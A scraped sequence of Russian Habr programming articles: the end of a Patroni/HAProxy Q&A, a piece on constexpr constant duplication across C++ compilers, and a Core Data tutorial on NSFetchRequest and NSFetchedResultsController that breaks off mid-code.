Ответ: Думаю, что для этого вам нужно запустить Patroni на этих процессорах. Поскольку Patroni потом запустит Postgres. Вопрос о том, наследуется ли все это. Я, честно говоря, не знаю. Вероятно, да, потому что вы запускаете postmaster, который после этого запускает Postgres. И поэтому, если это работает в случае просто Postgres, то это сработает и с Patroni тоже. Но в вашем случае я бы экспериментировал. Ответ на ваш вопрос – это примените эти параметры к Patroni.
Вопрос: Что будет с асинхронной репликой, если упадет синхронная реплика?
Ответ: Если что-то произошло с синхронной репликой, то Patroni какую-нибудь из существующих асинхронных реплик, которые удовлетворяют определенным условиям, просто выберет следующей синхронной.
Вопрос: Что он будет делать в этот момент, пока у него нет синхронной реплики?
Ответ: Patroni может либо перейти в асинхронный режим совсем, либо продолжать считать себя в синхронном режиме и не принимать соединения, пока у него не будет действующей синхронной реплики. Но имейте в виду, что все эти операции не происходят мгновенно. Т. е. требуется некоторое время, чтобы понять, что синхронная реплика отвалилась.
Вопрос: Возможно ли использовать Patroni на физическом сервере вместо облака?
Ответ: Да, возможно. Patroni не связан с каким-либо контейнером. Вы можете запустить его на местном сервере. Это то, чем мы занимаемся здесь. У нас была виртуальная машина. И мы запустили Patroni виртуальной машиной, и все прекрасно сработало. Мы использовали его на физическом сервисе, т. е. он не привязан к контейнеру. Есть docker-контейнер, есть spilo, но у spilo есть Postgres Patroni. А Patroni – это программа, которая может работать везде.
Вопрос: Какая цель у Haproxy?
Ответ: Прокси – это балансировщик нагрузки. И его первичная цель направлять трафик от клиента мастеру. У вас может быть более одного узла в кластере. Например, если три узла, то HAProxy отвечает за то, чтобы определить, где работает мастер. И когда клиент подсоединяется к HAProxy, то автоматически HAProxy направит это на правильный узел. Это запрос из Postgres. Oн работает, как обычный TCP proxy. Он не использует postgres-протокол, но направляет трафик от клиента в Postgres. | https://habr.com/ru/post/504044/ | null | ru | null |
# И ещё раз про уникальные константы
Прочитав статью [«Вычислите длину окружности»](http://habrahabr.ru/company/abbyy/blog/252871), которая, в общем-то, крайне позабавила меня своим стилем, и узнав для себя кое-что новое, я стал несколько сомневаться в достаточной подробности предложенной информации. Всё-таки компиляторов довольно много, систем тоже немало, а в статье как-то навеяно Windows и Visual Studio (на правах ИМХО).
Речь пойдёт о примерах после вынесения «загадочной» константы за пределы функции. ~~Так как правда об этом действе хуже рассказанной хитрым профессором~~. Примечание: я тестил всё исключительно «на имеющихся под рукой»:
* OS X 10.10 c gcc 4.9.2 и clang 3.5 / 3.6
* Ubuntu 14.10 с clang 3.5
* Windows с MinGW-w64-32 и gcc 4.9.2
Не исключаю чего-то ещё более неординарного под другими системами. Буду рад, если кто-то расскажет о них мне.
#### А правда ли constexpr может всё?
Учёный студент, закончив институт и придя на работу разработчиком C++ (скажем, под основные десктопные системы, Linix, OS X, Windows), узнаёт, что в компании все уже перешли на C++11 совместимые компиляторы. Обрадованный возможностью писать проще и короче, герой в одном из заголовочных файлов пишет так:
```
constexpr char sin_tables[4096] { /* Заполните значениями, если очень хочется */};
```
Примерно через час после коммита из соседнего отдела, который тестит сборки под OS X, раздаётся недоумевающий крик, что бинарнику сильно поплохело. Всё просто, в отличие от Visual C++ (определённых новых версий), ни clang (3.5, 3.6), ни gcc (4.8, 4.9) не полагаются на подобное неустановленное поведение (компилятор Microsoft отчего-то перестал видеть в constexpr обычную переменную с внутренней линковкой и сделал, впрочем, доброе дело), и мы получили дублирование нашего массива.
*Пример*:
**Скрытый текст**Пример, написанный на коленке:
a.cpp
```
#include
#include "h.h"
void printSin1() {
for (auto &e : sin\_tables)
printf("%f\n", e);
}
int main() {
printSin1();
printSin2();
}
```
b.cpp
```
#include
#include "h.h"
void printSin2() {
for (auto &e : sin\_tables)
printf("%f\n", e);
}
```
h.h
```
constexpr float sin_tables[4096] { /* ... */};
void printSin1();
void printSin2();
```
*Для тех, кому лень собирать*:
**Скрытый текст**
Если вы считаете, что виновата специфичная работа компиляторов на OS X, то спешу вас уверить, оно так же и в Ubuntu, и в среде MinGW. Это глобальная особенность компиляторов clang и gcc…
#### А если попробовать старый «проверенный» способ?
Вот же напасть, посчитал наш юный программист. Может, написать хак для этих пингвино-маководов. Сказано — сделано.
```
#if !defined(CONST_UNIQUE)
#if defined(MSVC)
#define CONST_UNIQUE constexpr
#else
#define CONST_UNIQUE extern __attribute__((weak)) constexpr
#endif
#endif
```
Всё работает, всё собирается. Но через пару минут из той же комнаты доносятся новые вопли: нерабочий коммит, билдбот выкинул ошибку, что же ты делаешь?! В проблеме опять же нет ничего необычного. Clang, хоть и делающий попытки реализовать всё нестандартное в gcc, полностью совместим никогда не был и вряд ли будет. Ну и потому в особых случаях использования этого атрибута нас будет ждать сюрприз (ну как же без этого).
```
CONST_UNIQUE int A = 137; // gcc OK, clang OK
CONST_UNIQUE int B = A+1; // gcc OK, clang OK
#include
std::array loveClang; // gcc OK, clang FAIL
```
```
./file.cpp:21:17: error: non-type template argument is not a constant expression
std::array loveClang;
^
```
Так-то всё правильно, как этот человек вообще посмел написать хак, да и отправить его в транк. История умалчивает, что в особо «понимающих» случаях в MinGW может быть применён хак selectany, вместо weak, как более Windows-подобный. Однако от вышесказанной ошибки он тоже не спасёт.
#### И что же делать? И как же быть?
Как показывает мой личный опыт, магические константы обычно специфичны для какого-то блока или модуля программы. Засорять ими глобальное пространство имён требуется достаточно редко, а потому сейчас никто вам не запретит написать:
MyClass.h
```
class MyClass {
/* ... */
static constexpr float m_pi {3.14};
/* ... */
};
```
MyClass.cpp
```
constexpr float MyClass::m_pi;
```
Что это вполне решит вопрос с читабельностью констант, с их видимостью и запретным размножением. С линковкой, да, вопрос остаётся открытым, но это больше, чем ничего (особенно с учётом стандартности реализации). Чтобы избежать обвинений плагиата, добавляю ссылку [сюда](http://stackoverflow.com/questions/14872240/unique-address-for-constexpr-variable), где подобное также описано.
Впрочем, вам не кажется, что вышесказанное — это серьёзное зацикливание на очень небольшой проблеме? В реальности все и так понимают:
* что константы типа пи есть в хедерах (причём часто даже в микроконтроллерах);
* что если нужна магическая константа, она чаще бывает целой, чем дробной, а значит скорее всего оптимизируется компилятором (притянуто за уши, да);
* под что-то константное и большое не так жалко написать пару лишних строк (раньше я, например, использовал static const в классах или extern, если надо, в других местах);
* что константы с одинаковыми значениями, но разными именами (алиасами) компилятор и без weak может оптимизировать в одну в некоторых случаях. | https://habr.com/ru/post/254077/ | null | ru | null |
# Работа NSFetchRequest и NSFetchedResultsController, а также зачем тут продуктовый рынок
Здравствуйте! Эта статья нацелена на разработчиков, у которых есть минимальный навык работы с `Core Data Framework`. Напомню, что `Core Data` — это фреймворк для хранения данных на устройстве и взаимодействия с ними. На эту тему есть куча русскоязычных статей на хабре и в сети, поэтому не вижу необходимости повторять их содержание.
Зачастую начинающие ~~особенно Stack Overflow~~ разработчики пугаются использовать `Core Data Framework`, потому что он кажется им сложным, или используют лишь малую часть его возможностей. В реальности знание базовых функций классов данного фреймворка позволяет разработчику с удобством работать с моделью.
В статье я хочу акцентировать внимание на следующих моментах:
* мы рассмотрим класс **`NSFetchRequest`**, с помощью которого создаются запросы на извлечение данных из модели. Мы изучим его основные свойства и кейсы с их применением;
* мы подробно разберём функции и работу **`NSFetchedResultsController`** по эффективному представлению извлечённых данных с помощью **`NSFetchRequest`** на примере **`UITableView`**.
Описание демо-проекта
=====================
Демо-проект, на котором мы будем «ставить опыты», весьма примитивен. Он включает `Model` и `ViewController`, в котором находится `UITableView`.
Для конкретики будем использовать банальный список продуктов с наименованием и ценой.
### Модель
Модель будет содержать в себе две сущности: **`Products`** с атрибутами **`name`** и **`price`** и **`FavoriteProducts`**, наследующую эти атрибуты.
Для примера заполним нашу базу данных некоторым количеством продуктов с рандомными ценой (до `1000`) и именем продукта из списка: `”Молоко”, “Квас”, “Булочка”, “Банан”, “Колбаса «Молочная»”, “Колбаса «Краковская»”, “Рис”, “Греча”`.
### Контроллер
В контроллере с помощью кода инициализируем и размещаем таблицу во весь экран.
**Objective-C**
```
- (UITableView *)tableView {
if (_tableView != nil) return _tableView;
_tableView = [[UITableView alloc] initWithFrame:CGRectZero style:UITableViewStyleGrouped];
_tableView.backgroundColor = [UIColor whiteColor];
_tableView.dataSource = self;
return _tableView;
}
- (void)loadView {
[super loadView];
[self.view addSubview:self.tableView];
}
- (void)viewDidLayoutSubviews {
[super viewDidLayoutSubviews];
_tableView.frame = self.view.frame;
}
```
**Swift**
```
var tableView: UITableView = {
let tableView = UITableView(frame: CGRectZero, style: .Grouped)
tableView.backgroundColor = UIColor.whiteColor()
return tableView
}()
override func loadView() {
super.loadView()
self.view.addSubview(tableView)
}
override func viewDidLoad() {
super.viewDidLoad()
tableView.dataSource = self
}
override func viewDidLayoutSubviews() {
super.viewDidLayoutSubviews()
tableView.frame = self.view.frame
}
```
### Извлечение данных
Извлечение данных из модели осуществляется методом **`NSManagedObjectContext`** **`executeFetchRequest(_:)`**. Аргументом метода является запрос выборки **`NSFetchRequest`** — главный герой этой статьи.
**Objective-C**
```
NSManagedObjectContext *context = [[CoreDataManager instance] managedObjectContext];
NSEntityDescription *entityDescription = [NSEntityDescription entityForName:@"Products"
inManagedObjectContext:context];
NSFetchRequest *request = [[NSFetchRequest alloc] init];
request.entity = entityDescription;
NSError *error = nil;
NSArray* objects = [context executeFetchRequest:request error:&error];
```
**Swift**
```
let context = CoreDataManager.instance.managedObjectContext
let entityDescription = NSEntityDescription.entityForName("Products", inManagedObjectContext: context)
let request = NSFetchRequest()
request.entity = entityDescription
do {
let objects = try context.executeFetchRequest(request)
} catch {
fatalError("Failed to fetch employees: \(error)")
}
```
Возвращаемым типом метода **`executeFetchRequest(_:)`** является массив объектов класса **`NSManagedObject`** по умолчанию. Для наглядности распечатаем извлечённые из нашей модели элементы, преобразовав вывод.
**Вывод**
```
NAME: Булочка, PRICE: 156
NAME: Квас, PRICE: 425
NAME: Квас, PRICE: 85
NAME: Колбаса «Молочная», PRICE: 400
NAME: Рис, PRICE: 920
NAME: Колбаса «Краковская», PRICE: 861
NAME: Квас, PRICE: 76
NAME: Молоко, PRICE: 633
NAME: Квас, PRICE: 635
NAME: Колбаса «Краковская», PRICE: 718
NAME: Булочка, PRICE: 701
NAME: Квас, PRICE: 176
NAME: Банан, PRICE: 731
NAME: Колбаса «Краковская», PRICE: 746
NAME: Рис, PRICE: 456
NAME: Рис, PRICE: 519
NAME: Колбаса «Молочная», PRICE: 221
NAME: Рис, PRICE: 560
NAME: Колбаса «Краковская», PRICE: 646
NAME: Булочка, PRICE: 492
NAME: Банан, PRICE: 185
NAME: Квас, PRICE: 539
NAME: Колбаса «Краковская», PRICE: 872
NAME: Банан, PRICE: 972
NAME: Булочка, PRICE: 821
NAME: Молоко, PRICE: 409
NAME: Банан, PRICE: 334
NAME: Молоко, PRICE: 734
NAME: Квас, PRICE: 448
NAME: Колбаса «Краковская», PRICE: 345
```
Основные методы и свойства класса NSFetchRequest
================================================
Как я уже сказал выше, класс **`NSFetchRequest`** используется в качестве запроса выборки данных из модели. Этот инструмент позволяет задавать правила фильтрации и сортировки объектов на этапе извлечения их из базы данных. Данная операция становится во много раз эффективнее и производительнее, чем если бы мы сначала делали извлечение всех объектов (а если их 10000 и больше?), а потом вручную сортировали или производили фильтрацию интересующих нас данных.
Зная основные свойства этого класса, можно с лёгкостью оперировать запросами и получать конкретную выборку без разработки дополнительных алгоритмов и костылей — всё уже реализовано в `Core Data`. Приступим.
sortDescriptors
---------------
**Objective-C**
```
@property (nonatomic, strong) NSArray \*sortDescriptors
```
**Swift**
```
var sortDescriptors: [NSSortDescriptor]?
```
Начать обзор свойств класса хочется с **`sortDesctriptors`**, который представляет собой массив объектов класса **`NSSortDescriptor`**. Именно с помощью них осуществляется механизм сортировки. С инструкциями по использованию дескрипторов сортировки можно познакомиться на портале [Apple](https://developer.apple.com/library/mac/documentation/Cocoa/Conceptual/SortDescriptors/Articles/Creating.html#//apple_ref/doc/uid/20001845-SW1). Данное свойство принимает массив дескрипторов сортировки, что позволяет нам использовать несколько правил сортировки. Приоритеты при таком использовании равносильны правилам очереди (FIFO, First In-First Out): чем меньше индекс, по которому находится объект в массиве, тем выше приоритет сортировки.
#### Пример использования
Вывод всех объектов, которые мы рассмотрели ранее, хаотичный и не особо читаемый, Для удобства отсортируем этот список сначала по названию продукта, указав ключом сортировки имя атрибута **`name`**, а потом отсортируем по цене (**`price`**). Имена хотим отсортировать по алфавиту, а цену по возрастанию. Для этого значение **`ascending`** обоих предикатов устанавливаем как булево **`true`** (булево **`false`** используется для сортировки по убыванию).
**Objective-C**
```
NSSortDescriptor *nameSortDescriptor = [[NSSortDescriptor alloc] initWithKey:@"name" ascending:YES];
NSSortDescriptor *priceSortDescriptor = [[NSSortDescriptor alloc] initWithKey:@"price" ascending:YES];
fetchRequest.sortDescriptors = @[nameSortDescriptor, priceSortDescriptor];
```
**Swift**
```
let nameSortDescriptor = NSSortDescriptor(key: "name", ascending: true)
let priceSortDescriptor = NSSortDescriptor(key: "price", ascending: true)
fetchRequest.sortDescriptors = [nameSortDescriptor, priceSortDescriptor]
```
**Результат работы сортировки**
```
NAME: Банан, PRICE: 185
NAME: Банан, PRICE: 334
NAME: Банан, PRICE: 731
NAME: Банан, PRICE: 972
NAME: Булочка, PRICE: 156
NAME: Булочка, PRICE: 492
NAME: Булочка, PRICE: 701
NAME: Булочка, PRICE: 821
NAME: Квас, PRICE: 76
NAME: Квас, PRICE: 85
NAME: Квас, PRICE: 176
NAME: Квас, PRICE: 425
NAME: Квас, PRICE: 448
NAME: Квас, PRICE: 539
NAME: Квас, PRICE: 635
NAME: Колбаса «Краковская», PRICE: 345
NAME: Колбаса «Краковская», PRICE: 646
NAME: Колбаса «Краковская», PRICE: 718
NAME: Колбаса «Краковская», PRICE: 746
NAME: Колбаса «Краковская», PRICE: 861
NAME: Колбаса «Краковская», PRICE: 872
NAME: Колбаса «Молочная», PRICE: 221
NAME: Колбаса «Молочная», PRICE: 400
NAME: Молоко, PRICE: 409
NAME: Молоко, PRICE: 633
NAME: Молоко, PRICE: 734
NAME: Рис, PRICE: 456
NAME: Рис, PRICE: 519
NAME: Рис, PRICE: 560
NAME: Рис, PRICE: 920
```
predicate
---------
**Objective-C**
```
@property (nonatomic, strong) NSPredicate *predicate
```
**Swift**
```
var predicate: NSPredicate?
```
Следующее рассматриваемое свойство — **`predicate`** класса **`NSPredicate`**, которое является мощным и быстрым инструментом для фильтрации данных. По использованию предиката существует отличный гайд от [Apple](https://developer.apple.com/library/mac/documentation/Cocoa/Conceptual/Predicates/AdditionalChapters/Introduction.html#//apple_ref/doc/uid/TP40001798-SW1) ([Перевод](http://macbug.ru/cocoa/predbasics)). Фильтрация данных при запросе осуществляется благодаря особому строковому синтаксису предиката, который описан в вышеупомянутом гайде.
#### Пример использования
Начнём с простого примера: мы — страстные любители молочной колбасы и хотим узнать цены на неё, представленные в списке продуктов. Для этого в предикате укажем, что мы хотим получить объекты, у которых имя атрибута **`name`** равно строке **`"Колбаса «Молочная»"`**.
**Objective-C**
```
NSPredicate *predicate = [NSPredicate predicateWithFormat:@"name == %@", @"Колбаса «Молочная»"];
fetchRequest.predicate = predicate;
```
**Swift**
```
let predicate = NSPredicate(format: "name == %@", "Колбаса «Молочная»")
fetchRequest.predicate = predicate
```
**Результат**
```
NAME: Колбаса «Молочная», PRICE: 400
NAME: Колбаса «Молочная», PRICE: 221
```
Заметьте, что для правильного составления предиката с использованием оператора равенства **`==`** необходимо точно указывать строковое значение с учётом регистра.
А если мы хотим посмотреть цены не только молочной, а всех видов колбас? Для этого обратимся к оператору **`CONTAINS`** (левое выражение `СОДЕРЖИТ` правое) и добавим ключевые слова **`[cd]`**, которые указывают на нечувствительность к регистру и диакритическим символам. Также мы можем использовать несколько условий, в чём нам поможет оператор **`AND`**. Ограничим результаты по стоимости — до 500 денежных единиц.
**Objective-C**
```
NSPredicate *predicate = [NSPredicate predicateWithFormat:@"name CONTAINS[cd] %@ AND price < %d", @"колбаса", 500];
fetchRequest.predicate = predicate;
```
**Swift**
```
let predicate = NSPredicate(format: "name CONTAINS[cd] %@ AND price < %d", "колбаса", 500)
fetchRequest.predicate = predicate
```
**Результат**
```
NAME: Колбаса «Молочная», PRICE: 400
NAME: Колбаса «Молочная», PRICE: 221
NAME: Колбаса «Краковская», PRICE: 345
```
fetchLimit
----------
**Objective-C**
```
@property (nonatomic) NSUInteger fetchLimit
```
**Swift**
```
var fetchLimit: Int
```
Свойство **`fetchLimit`** позволяет ограничивать количество извлекаемых объектов.
#### Пример использования
Для демонстрации получим 12 самых дешёвых товаров из списка продуктов. Для этого добавим сортировку по цене и ограничение на количество извлекаемых объектов — **`12`**.
**Objective-C**
```
// сортировка по цене
NSSortDescriptor *priceSortDescriptor = [[NSSortDescriptor alloc] initWithKey:@"price" ascending:YES];
fetchRequest.sortDescriptors = @[priceSortDescriptor];
// ограничение по количеству = 12
fetchRequest.fetchLimit = 12;
```
**Swift**
```
// сортировка по цене
let priceSortDescriptor = NSSortDescriptor(key: "price", ascending: true)
fetchRequest.sortDescriptors = [priceSortDescriptor]
// ограничение по количеству = 12
fetchRequest.fetchLimit = 12
```
**Результат**
```
NAME: Квас, PRICE: 76
NAME: Квас, PRICE: 85
NAME: Булочка, PRICE: 156
NAME: Квас, PRICE: 176
NAME: Банан, PRICE: 185
NAME: Колбаса «Молочная», PRICE: 221
NAME: Банан, PRICE: 334
NAME: Колбаса «Краковская», PRICE: 345
NAME: Колбаса «Молочная», PRICE: 400
NAME: Молоко, PRICE: 409
NAME: Квас, PRICE: 425
NAME: Квас, PRICE: 448
```
fetchOffset
-----------
**Objective-C**
```
@property (nonatomic) NSUInteger fetchOffset
```
**Swift**
```
var fetchOffset: Int
```
С помощью данного свойства можно сместить результаты выборки на заданное количество объектов.
#### Пример использования
Чтобы показать работу данного свойства, воспользуемся предыдущим запросом и добавим к нему смещение на два объекта. В результате мы получим 12 объектов, где первые два пропущены, а в конец добавлены следующие, как будто мы сместили таблицу с результатами на две ячейки.
**Objective-C**
```
fetchRequest.fetchOffset = 2;
```
**Swift**
```
fetchRequest.fetchOffset = 2
```
Для наглядности я ограничил извлечённые объекты пунктиром.
**Результат**
```
Было: Стало:
NAME: Квас, PRICE: 76
NAME: Квас, PRICE: 85
---------------------------------------------------------------------------------
NAME: Квас, PRICE: 76 NAME: Булочка, PRICE: 156
NAME: Квас, PRICE: 85 NAME: Квас, PRICE: 176
NAME: Булочка, PRICE: 156 NAME: Банан, PRICE: 185
NAME: Квас, PRICE: 176 NAME: Колбаса «Молочная», PRICE: 221
NAME: Банан, PRICE: 185 NAME: Банан, PRICE: 334
NAME: Колбаса «Молочная», PRICE: 221 NAME: Колбаса «Краковская», PRICE: 345
NAME: Банан, PRICE: 334 NAME: Колбаса «Молочная», PRICE: 400
NAME: Колбаса «Краковская», PRICE: 345 NAME: Молоко, PRICE: 409
NAME: Колбаса «Молочная», PRICE: 400 NAME: Квас, PRICE: 425
NAME: Молоко, PRICE: 409 NAME: Квас, PRICE: 448
NAME: Квас, PRICE: 425 NAME: Рис, PRICE: 456
NAME: Квас, PRICE: 448 NAME: Булочка, PRICE: 492
---------------------------------------------------------------------------------
NAME: Рис, PRICE: 456 ...
NAME: Булочка, PRICE: 492
...
```
fetchBatchSize
--------------
**Objective-C**
```
@property (nonatomic) NSUInteger fetchBatchSize
```
**Swift**
```
var fetchBatchSize: Int
```
С помощью **`fetchBatchSize`** регулируется, сколько объектов за раз будет извлечено из базы данных (`Persistent Store`), с которой работает `Core Data Framework` (`SQLite`, `XML` и др.). Правильно установленное значение для конкретных кейсов может как ускорить работу с базой, так и, наоборот, замедлить.
Допустим, мы работаем с `UITableView`. В нашей модели более 10000 объектов. Потребуется некоторое время, чтобы извлечь все эти элементы за раз. Но таблица у нас вмещает 20 ячеек на экран, и для отображения нам потребуются только 20 объектов. В таком кейсе целесообразно использовать **`fetchBatchSize`** равное 20. Сначала `Core Data` запросит из базы данных 20 объектов, которые мы отобразим в таблице, а при скролле будет запрошена следующая пачка из 20 элементов. Такой подход значительно оптимизирует взаимодействие с постоянным хранилищем.
Но не стоит использовать слишком маленький размер пачки, например, равное 1 — это только нагрузит базу постоянными запросами по одному элементу.
**Objective-C**
```
fetchRequest.fetchBatchSize = 20;
```
**Swift**
```
fetchRequest.fetchBatchZize = 20
```
resultType
----------
**Objective-C**
```
@property (nonatomic) NSFetchRequestResultType resultType
```
**Swift**
```
var resultType: NSFetchRequestResultType
```
При извлечении данных, метод **`executeFetchRequest(_:)`** по умолчанию возвращает массив объектов класса **`NSManagedObject`** и его наследников.
Изменение свойства **`resultType`** позволяет выбрать тип извлечённых объектов. Рассмотрим их (Objective-C с префиксом NS чередуется со Swift через слэш):
* **`NSManagedObjectResultType`** / **`ManagedObjectResultType`** — объекты класса **`NSManagedObject`** и его наследников (по умолчанию).
* **`NSManagedObjectIDResultType`** / **`ManagedObjectIDResultType`** — идентификатор объекта **`NSManagedObject`**.
* **`NSDictionaryResultType`** / **`DictionaryResultType`** — словарь, где ключи — это имена атрибутов сущности.
* **`NSCountResultType`** / **`CountResultType`** — вернёт один элемент массива со значением количества элементов.
propertiesToFetch
-----------------
**Objective-C**
```
@property (nonatomic, copy) NSArray *propertiesToFetch
```
**Swift**
```
var propertiesToFetch: [AnyObject]?
```
Данное свойство позволяет извлекать из сущности только необходимые атрибуты. Но обязательное условием является, что **`resultType`** должен быть словарём (**`NSDictionaryResultType`** / **`DictionaryResultType`**).
#### Пример использования
В качестве примера извлечём только значения атрибута **`name`** и для вывода распечатаем все значения по всем существующим ключам словаря в формате `(key: value)`.
**Objective-C**
```
fetchRequest.resultType = NSDictionaryResultType;
fetchRequest.propertiesToFetch = @[@"name"];
```
**Swift**
```
fetchRequest.resultType = .DictionaryResultType
fetchRequest.propertiesToFetch = ["name"]
```
**Результат (ключ: значение)**
```
name: Булочка
name: Квас
name: Квас
name: Колбаса «Молочная»
name: Рис
name: Колбаса «Краковская»
name: Квас
name: Молоко
name: Квас
name: Колбаса «Краковская»
name: Булочка
name: Квас
name: Банан
name: Колбаса «Краковская»
name: Рис
name: Рис
name: Колбаса Молочная
name: Рис
name: Колбаса «Краковская»
name: Булочка
name: Банан
name: Квас
name: Колбаса «Краковская»
name: Банан
name: Булочка
name: Молоко
name: Банан
name: Молоко
name: Квас
name: Колбаса «Краковская»
```
includesSubentities
-------------------
**Objective-C**
```
@property (nonatomic) BOOL includesSubentities
```
**Swift**
```
var includesSubentities: Bool
```
Для демонстрации этого свойства необходимо добавить объект в сущность **`FavoriteProducts`**, которая является наследником **`Products`**. Присвоим этому объекту имя **`"ЯБЛОКО"`** и цену **`999`**.
Обратимся к запросу сущности **`Products`**, с помощью которого мы выполняли сортировку по имени и цене.
**Результат**
```
NAME: Банан, PRICE: 185
NAME: Банан, PRICE: 334
NAME: Банан, PRICE: 731
NAME: Банан, PRICE: 972
NAME: Булочка, PRICE: 156
NAME: Булочка, PRICE: 492
NAME: Булочка, PRICE: 701
NAME: Булочка, PRICE: 821
NAME: Квас, PRICE: 76
NAME: Квас, PRICE: 85
NAME: Квас, PRICE: 176
NAME: Квас, PRICE: 425
NAME: Квас, PRICE: 448
NAME: Квас, PRICE: 539
NAME: Квас, PRICE: 635
NAME: Колбаса «Краковская», PRICE: 345
NAME: Колбаса «Краковская», PRICE: 646
NAME: Колбаса «Краковская», PRICE: 718
NAME: Колбаса «Краковская», PRICE: 746
NAME: Колбаса «Краковская», PRICE: 861
NAME: Колбаса «Краковская», PRICE: 872
NAME: Колбаса «Молочная», PRICE: 221
NAME: Колбаса «Молочная», PRICE: 400
NAME: Молоко, PRICE: 409
NAME: Молоко, PRICE: 633
NAME: Молоко, PRICE: 734
NAME: Рис, PRICE: 456
NAME: Рис, PRICE: 519
NAME: Рис, PRICE: 560
NAME: Рис, PRICE: 920
NAME: ЯБЛОКО, PRICE: 999
```
В конце списка заметим объект, который мы только что добавили для сущности **`FavoriteProducts`**. Что же он тут делает? Дело в том, что у запроса значение свойства **`includesSubentities`** по умолчанию равно булевому **`true`**, что означает извлечение объектов не только текущей сущности, но и сущностей-наследников.
Чтобы избежать этого, изменим его на булево **`false`**.
**Objective-C**
```
fetchRequest.includesSubentities = NO;
```
**Swift**
```
fetchRequest.includesSubentities = false
```
**Результат**
```
NAME: Банан, PRICE: 185
NAME: Банан, PRICE: 334
NAME: Банан, PRICE: 731
NAME: Банан, PRICE: 972
NAME: Булочка, PRICE: 156
NAME: Булочка, PRICE: 492
NAME: Булочка, PRICE: 701
NAME: Булочка, PRICE: 821
NAME: Квас, PRICE: 76
NAME: Квас, PRICE: 85
NAME: Квас, PRICE: 176
NAME: Квас, PRICE: 425
NAME: Квас, PRICE: 448
NAME: Квас, PRICE: 539
NAME: Квас, PRICE: 635
NAME: Колбаса «Краковская», PRICE: 345
NAME: Колбаса «Краковская», PRICE: 646
NAME: Колбаса «Краковская», PRICE: 718
NAME: Колбаса «Краковская», PRICE: 746
NAME: Колбаса «Краковская», PRICE: 861
NAME: Колбаса «Краковская», PRICE: 872
NAME: Колбаса «Молочная», PRICE: 221
NAME: Колбаса «Молочная», PRICE: 400
NAME: Молоко, PRICE: 409
NAME: Молоко, PRICE: 633
NAME: Молоко, PRICE: 734
NAME: Рис, PRICE: 456
NAME: Рис, PRICE: 519
NAME: Рис, PRICE: 560
NAME: Рис, PRICE: 920
```
Fetched Results Controller (FRC)
================================
Контроллер класса **`NSFetchedResultsController`** условно можно расположить между `Core Data` и `ViewController`, в котором нам нужно отобразить данные из базы. Методы и свойства этого контроллера позволяют с удобством взаимодействовать, представлять и управлять объектами из `Core Data` в связке с таблицами `UITableView`, для которых он наиболее адаптирован.
Этот контроллер умеет преобразовывать извлечённые объекты в элементы таблицы — секции и объекты этих секций. **`FRC`** имеет протокол **`NSFetchedResultsControllerDelegate`**, который при делегировании позволяет отлавливать изменения происходящих с объектами заданного запроса **`NSFetchRequest`** в момент инициализации контроллера.
Инициализация FRC
-----------------
**Objective-C**
```
- (instancetype)initWithFetchRequest:(NSFetchRequest *)fetchRequest managedObjectContext: (NSManagedObjectContext *)context sectionNameKeyPath:(nullable NSString *)sectionNameKeyPath cacheName:(nullable NSString *)name;
```
**Swift**
```
public init(fetchRequest: NSFetchRequest, managedObjectContext context: NSManagedObjectContext, sectionNameKeyPath: String?, cacheName name: String?)
```
Разберём параметры инициализации:
* **`fetchRequest`** — запрос на извлечение объектов **`NSFetchRequest`**. Важно: для работы **`FRC`** необходимо, чтобы у запроса был хотя бы один дескриптор сортировки и его **`resultType`** должен быть **`NSManagedObjectResultType / ManagedObjectResultType`**.
* **`context`** — контекст **`NSManagedObjectContext`** в котором мы работаем.
* **`sectionNameKeyPath`** — необязательный параметр, при указании которого в формате строкового ключа (имени атрибута сущности) происходит группировка объектов с одинаковыми значениями этого атрибута в секции таблицы. Важно, чтобы этот ключ совпадал с дескриптором сортировки, у которого самый высокий приоритет. Если не указывать этот параметр, будет создана таблица с одной секцией.
* **`cacheName`** — необязательный параметр, при указании которого контроллер начинает кэшировать результаты запросов. Рассмотрим его позже более детально.
Следующим шагом мы должны вызвать метод контроллера **`performFetch`** для того, чтобы сделать извлечение выборки из базы данных.
**Objective-C**
```
NSError *error = nil;
if (![self.fetchedResultsController performFetch:&error]) {
NSLog(@"Unresolved error %@, %@", error, [error userInfo]);
abort();
}
```
**Swift**
```
do {
try fetchedResultsController.performFetch()
} catch {
print(error)
}
```
Метод возвращает булево значение. Если извлечение произведено успешно, то вернётся булево **`true`**, а в противном случае — **`false`**. После извлечения объекты находятся в свойстве контроллера **`fetchedObjects`**.
Взаимодейстие с UITableView
---------------------------
Рассмотрим работу с таблицей. Несмотря на то, что извлеченные объекты находятся в свойстве **`fetchedObject`**, для работы с ними следует обращаться к свойству контроллера **`sections`**. Это массив объектов, которые подписаны на протокол **`NSFetchedResultsSectionInfo`**, в котором описаны следующие свойства:
* **`name`** — имя секции.
* **`indexTitle`** — заголовок секции.
* **`numbersOfObjects`** — количество объектов в секции.
* **`objects`** — сам массив объектов, находящихся в секции.
#### Реализация
Чтобы нам было удобно, добавим метод для конфигурации ячейки таблицы **`configureCell`**.
**Objective-C**
```
#pragma mark - Table View
- (void)configureCell:(UITableViewCell *)cell withObject:(Products *)object {
cell.textLabel.text = object.name;
cell.detailTextLabel.text = [NSString stringWithFormat:@"%d", object.price.intValue];
}
#pragma mark UITableViewDataSource
- (NSInteger)numberOfSectionsInTableView:(UITableView *)tableView {
return [[self.fetchedResultsController sections] count];
}
- (NSString *)tableView:(UITableView *)tableView titleForHeaderInSection:(NSInteger)section {
id sectionInfo = [self.fetchedResultsController sections][section];
return sectionInfo.indexTitle;
}
- (NSInteger)tableView:(UITableView \*)tableView numberOfRowsInSection:(NSInteger)section {
id sectionInfo = [self.fetchedResultsController sections][section];
return [sectionInfo numberOfObjects];
}
- (UITableViewCell \*)tableView:(UITableView \*)tableView cellForRowAtIndexPath:(NSIndexPath \*)indexPath {
static NSString \*identifier = @"Cell";
UITableViewCell \*cell = [tableView dequeueReusableCellWithIdentifier:identifier];
if (!cell) {
cell = [[UITableViewCell alloc] initWithStyle:UITableViewCellStyleValue1 reuseIdentifier:identifier];
}
Products \*object = [[self fetchedResultsController] objectAtIndexPath:indexPath];
[self configureCell:cell withObject:(Products \*)object];
return cell;
}
```
**Swift**
```
// MARK: - Table View
extension ViewController {
func configureCell(cell: UITableViewCell, withObject product: Products) {
cell.textLabel?.text = product.name ?? ""
cell.detailTextLabel?.text = String(product.price ?? 0)
}
}
// MARK: UITableViewDataSource
extension ViewController: UITableViewDataSource {
func numberOfSectionsInTableView(tableView: UITableView) -> Int {
guard let sections = fetchedResultsController.sections else { return 0 }
return sections.count
}
